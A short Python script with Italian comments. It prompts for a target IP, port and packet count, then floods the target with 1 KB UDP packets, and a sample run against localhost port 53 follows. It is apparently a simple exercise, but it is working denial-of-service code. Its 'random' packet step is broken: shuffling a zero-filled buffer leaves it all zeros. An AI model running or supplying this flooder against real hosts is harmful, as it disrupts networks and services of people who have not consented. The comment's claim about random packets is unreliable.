

```

1 import socket
2 import random
3
4 def main():
5     # Richiedi all'utente l'inserimento dell'IP target
6     ip_target = input("Inserisci l'IP target: ")
7
8     # Richiedi all'utente l'inserimento della porta target
9     port_target = input("Inserisci la porta target: ")
10
11     # Richiedi all'utente quanti pacchetti da 1 KB inviare
12     num_packets = input("Inserisci il numero di pacchetti da 1 KB da inviare: ")
13
14     # Costruisci un socket UDP
15     sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
16
17     # Invia i pacchetti UDP
18     for i in range(int(num_packets)):
19         # Genera un pacchetto UDP di 1 KB
20         packet = bytearray(1024)
21         random.shuffle(packet)
22
23         # Invia il pacchetto al target
24         sock.sendto(packet, (ip_target, int(port_target)))
25
26 if __name__ == "__main__":
27     main()
28

```

input

```

Inserisci l'IP target: 127.0.0.1
Inserisci la porta target: 53
Inserisci il numero di pacchetti da 1 KB da inviare: 50

```

```

...Program finished with exit code 0
Press ENTER to exit console.

```